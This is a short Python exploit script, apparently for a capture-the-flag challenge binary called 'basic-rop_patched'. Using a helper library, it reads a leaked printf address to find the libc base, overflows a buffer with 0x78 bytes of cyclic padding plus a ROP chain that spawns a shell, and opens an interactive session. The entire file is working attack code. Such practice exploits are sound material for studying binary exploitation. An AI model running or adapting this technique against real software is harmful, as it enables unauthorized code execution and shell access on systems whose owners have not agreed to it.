#!/usr/bin/env python3

from flashlib import *

init("./basic-rop_patched")
attach(gdbscript="b *main+129")

libc.address = hexleak(io.recvafter(b": ")) - libc.sym.printf
logleak(libc.address)

payload = flat(cyclic(0x78, n=8), sh_rop())
# menu sends the payload after '> ', can be modified with delim keyword.
menu(payload)

io.interactive()